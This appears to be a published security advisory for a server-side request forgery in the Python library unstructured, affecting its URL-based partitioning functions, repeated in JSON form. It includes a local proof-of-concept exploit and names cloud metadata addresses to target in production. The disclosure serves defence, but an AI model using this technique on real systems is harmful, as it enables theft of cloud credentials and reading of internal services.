GHSA-4MVJ-M6J5-PMF7
Vulnerability from github – Published: 2026-09-03 17:02 – Updated: 2026-09-03 17:02Summary
Server-Side Request Forgery in unstructured. The url= argument of partition(), partition_html(), and partition_md() is fetched via requests.get() with no host validation. The response body is returned as Element text, so this is a full-read SSRF — attackers reach loopback admin APIs, internal HTTP services, and cloud metadata endpoints, and read the response.
unstructured is the de facto URL ingestion layer for LangChain UnstructuredURLLoader, LlamaIndex UnstructuredReader, Chainlit, and many agent frameworks — secure defaults must live in the library, not in every downstream caller.
Details
Three sinks, all in unstructured == 0.22.26 (verified on main at 199f255):
unstructured/partition/auto.py:303—file_and_type_from_url(), reached viapartition(url=…).unstructured/partition/html/partition.py:160—partition_html(url=…). Post-fetchContent-Typecheck runs after the request hits the target.unstructured/partition/md.py:96—partition_md(url=…). No timeout (SSRF + slow-loris DoS).
None of is_private, is_loopback, ipaddress, gethostbyname, or allow_redirects appear in any of the three files. Three exploitation paths apply: direct private-IP target; redirect bypass (allow_redirects=True default); DNS rebinding (TOCTOU, closeable only by socket-pinning). Affected since 0.4.7 (Feb 2023) — ~219 releases, no validation ever introduced.
PoC
Local-only. pip install unstructured==0.22.26 flask requests.
internal_server.py:
from flask import Flask, Response, jsonify
app = Flask(__name__)
@app.route("/imds")
def imds(): return jsonify({"AccessKeyId": "ASIA-FAKE", "SecretAccessKey": "FAKE/SECRET"})
@app.route("/internal.html")
def html(): return Response("<html><body><p>SK_LEAK_42</p></body></html>", mimetype="text/html")
@app.route("/redir")
def redir(): return Response("", 302, headers={"Location": "http://127.0.0.1:9999/imds"})
if __name__ == "__main__": app.run(host="127.0.0.1", port=9999)
exploit.py — uses the public top-level API:
# Stub NLP helpers so the offline sandbox skips spaCy model download.
# Does NOT affect the SSRF (which lives in the URL fetcher, before NLP).
import unstructured.nlp.tokenize as _tk, unstructured.partition.text_type as _tt
_tk.sent_tokenize = _tt.sent_tokenize = lambda t: [s for s in (t or "").split(". ") if s]
_tk.word_tokenize = _tt.word_tokenize = lambda t: (t or "").split()
_tk.pos_tag = _tt.pos_tag = lambda t: [(w, "NN") for w in (t or "").split()]
from unstructured.partition.auto import partition
L = "http://127.0.0.1:9999"
# A: partition(url=...) leaks internal HTML body
assert "SK_LEAK_42" in "\n".join(str(e) for e in partition(url=f"{L}/internal.html", languages=["eng"]))
# B: redirect bypass reaches simulated IMDS
assert "SecretAccessKey" in "\n".join(str(e) for e in partition(url=f"{L}/redir", languages=["eng"]))
print("PoC OK")
In production the attacker substitutes 169.254.169.254, metadata.google.internal, or any internal address.
Impact
Attacker capabilities:
- Internal HTTP service read — loopback admin consoles, internal Elasticsearch/Redis/Consul/etcd HTTP fronts, Kubernetes API server, social/internal microservices. This is the most broadly exploitable capability and is unaffected by any cloud-side hardening.
- Cloud instance metadata access — reads metadata services that respond to unauthenticated GETs: GCP (
metadata.google.internal), Azure IMDS, Oracle Cloud, DigitalOcean, and EC2 instances still configured for IMDSv1 (which remains widely deployed in older accounts and in services that do not enforce IMDSv2-only). EC2 instances configured as IMDSv2-only are not exposed to direct credential theft via this SSRF, since IMDSv2 requires aPUTfor token acquisition; the SSRF still reaches the endpoint for reconnaissance and surface-mapping. - Side-effecting GET endpoints — magic-link consumers, job triggers, link-preview generators reachable on internal networks.
- Internal network reconnaissance — connection success/failure timing and error messages serve as a port and service scanner.
{
"affected": [
{
"package": {
"ecosystem": "PyPI",
"name": "unstructured"
},
"ranges": [
{
"events": [
{
"introduced": "0.4.7"
},
{
"fixed": "0.24.0"
}
],
"type": "ECOSYSTEM"
}
]
}
],
"aliases": [
"CVE-2026-71428"
],
"database_specific": {
"cwe_ids": [
"CWE-601",
"CWE-918"
],
"github_reviewed": true,
"github_reviewed_at": "2026-09-03T17:02:46Z",
"nvd_published_at": "2026-08-20T17:19:40Z",
"severity": "CRITICAL"
},
"details": "### Summary\n\nServer-Side Request Forgery in `unstructured`. The `url=` argument of `partition()`, `partition_html()`, and `partition_md()` is fetched via `requests.get()` with no host validation. The response body is returned as `Element` text, so this is a **full-read SSRF** \u2014 attackers reach loopback admin APIs, internal HTTP services, and cloud metadata endpoints, and read the response. \n\n`unstructured` is the de facto URL ingestion layer for LangChain `UnstructuredURLLoader`, LlamaIndex `UnstructuredReader`, Chainlit, and many agent frameworks \u2014 secure defaults must live in the library, not in every downstream caller.\n\n### Details\n\nThree sinks, all in `unstructured == 0.22.26` (verified on `main` at `199f255`):\n\n- `unstructured/partition/auto.py:303` \u2014 `file_and_type_from_url()`, reached via `partition(url=\u2026)`.\n- `unstructured/partition/html/partition.py:160` \u2014 `partition_html(url=\u2026)`. Post-fetch `Content-Type` check runs after the request hits the target.\n- `unstructured/partition/md.py:96` \u2014 `partition_md(url=\u2026)`. No timeout (SSRF + slow-loris DoS).\n\nNone of `is_private`, `is_loopback`, `ipaddress`, `gethostbyname`, or `allow_redirects` appear in any of the three files. Three exploitation paths apply: direct private-IP target; redirect bypass (`allow_redirects=True` default); DNS rebinding (TOCTOU, closeable only by socket-pinning). Affected since `0.4.7` (Feb 2023) \u2014 ~219 releases, no validation ever introduced.\n\n### PoC\n\nLocal-only. `pip install unstructured==0.22.26 flask requests`.\n\n`internal_server.py`:\n\n```python\nfrom flask import Flask, Response, jsonify\napp = Flask(__name__)\n\n@app.route(\"/imds\")\ndef imds(): return jsonify({\"AccessKeyId\": \"ASIA-FAKE\", \"SecretAccessKey\": \"FAKE/SECRET\"})\n\n@app.route(\"/internal.html\")\ndef html(): return Response(\"\u003chtml\u003e\u003cbody\u003e\u003cp\u003eSK_LEAK_42\u003c/p\u003e\u003c/body\u003e\u003c/html\u003e\", mimetype=\"text/html\")\n\n@app.route(\"/redir\")\ndef redir(): return Response(\"\", 302, headers={\"Location\": \"http://127.0.0.1:9999/imds\"})\n\nif __name__ == \"__main__\": app.run(host=\"127.0.0.1\", port=9999)\n```\n\n`exploit.py` \u2014 uses the public top-level API:\n\n```python\n# Stub NLP helpers so the offline sandbox skips spaCy model download.\n# Does NOT affect the SSRF (which lives in the URL fetcher, before NLP).\nimport unstructured.nlp.tokenize as _tk, unstructured.partition.text_type as _tt\n_tk.sent_tokenize = _tt.sent_tokenize = lambda t: [s for s in (t or \"\").split(\". \") if s]\n_tk.word_tokenize = _tt.word_tokenize = lambda t: (t or \"\").split()\n_tk.pos_tag = _tt.pos_tag = lambda t: [(w, \"NN\") for w in (t or \"\").split()]\n\nfrom unstructured.partition.auto import partition\nL = \"http://127.0.0.1:9999\"\n\n# A: partition(url=...) leaks internal HTML body\nassert \"SK_LEAK_42\" in \"\\n\".join(str(e) for e in partition(url=f\"{L}/internal.html\", languages=[\"eng\"]))\n# B: redirect bypass reaches simulated IMDS\nassert \"SecretAccessKey\" in \"\\n\".join(str(e) for e in partition(url=f\"{L}/redir\", languages=[\"eng\"]))\nprint(\"PoC OK\")\n```\n\nIn production the attacker substitutes `169.254.169.254`, `metadata.google.internal`, or any internal address.\n\n### Impact\n\nAttacker capabilities:\n\n- **Internal HTTP service read** \u2014 loopback admin consoles, internal Elasticsearch/Redis/Consul/etcd HTTP fronts, Kubernetes API server, social/internal microservices. This is the most broadly exploitable capability and is unaffected by any cloud-side hardening.\n- **Cloud instance metadata access** \u2014 reads metadata services that respond to unauthenticated GETs: GCP (`metadata.google.internal`), Azure IMDS, Oracle Cloud, DigitalOcean, and EC2 instances still configured for IMDSv1 (which remains widely deployed in older accounts and in services that do not enforce IMDSv2-only). EC2 instances configured as IMDSv2-only are not exposed to direct credential theft via this SSRF, since IMDSv2 requires a `PUT` for token acquisition; the SSRF still reaches the endpoint for reconnaissance and surface-mapping.\n- **Side-effecting GET endpoints** \u2014 magic-link consumers, job triggers, link-preview generators reachable on internal networks.\n- **Internal network reconnaissance** \u2014 connection success/failure timing and error messages serve as a port and service scanner.",
"id": "GHSA-4mvj-m6j5-pmf7",
"modified": "2026-09-03T17:02:47Z",
"published": "2026-09-03T17:02:46Z",
"references": [
{
"type": "WEB",
"url": "https://github.com/Unstructured-IO/unstructured/security/advisories/GHSA-4mvj-m6j5-pmf7"
},
{
"type": "ADVISORY",
"url": "https://nvd.nist.gov/vuln/detail/CVE-2026-71428"
},
{
"type": "WEB",
"url": "https://github.com/Unstructured-IO/unstructured/pull/4388"
},
{
"type": "WEB",
"url": "https://github.com/Unstructured-IO/unstructured/commit/445c95735c4045057f51f399bc04c657751923bd"
},
{
"type": "PACKAGE",
"url": "https://github.com/Unstructured-IO/unstructured"
},
{
"type": "WEB",
"url": "https://github.com/Unstructured-IO/unstructured/releases/tag/0.24.0"
}
],
"schema_version": "1.4.0",
"severity": [
{
"score": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:C/C:H/I:L/A:N",
"type": "CVSS_V3"
}
],
"summary": "unstructured: Server-Side Request Forgery in the URL-based partitioning"
}
Sightings
| Author | Source | Type | Date | Other |
|---|
Nomenclature
- Seen: The vulnerability was mentioned, discussed, or observed by the user.
- Confirmed: The vulnerability has been validated from an analyst's perspective.
- Published Proof of Concept: A public proof of concept is available for this vulnerability.
- Exploited: The vulnerability was observed as exploited by the user who reported the sighting.
- Patched: The vulnerability was observed as successfully patched by the user who reported the sighting.
- Not exploited: The vulnerability was not observed as exploited by the user who reported the sighting.
- Not confirmed: The user expressed doubt about the validity of the vulnerability.
- Not patched: The vulnerability was not observed as successfully patched by the user who reported the sighting.
The approach is described in our paper Mapping CVEs to MITRE ATT&CK Techniques: A Curated Gold-Set Classifier and the Limits of LLM-Assisted Label Expansion.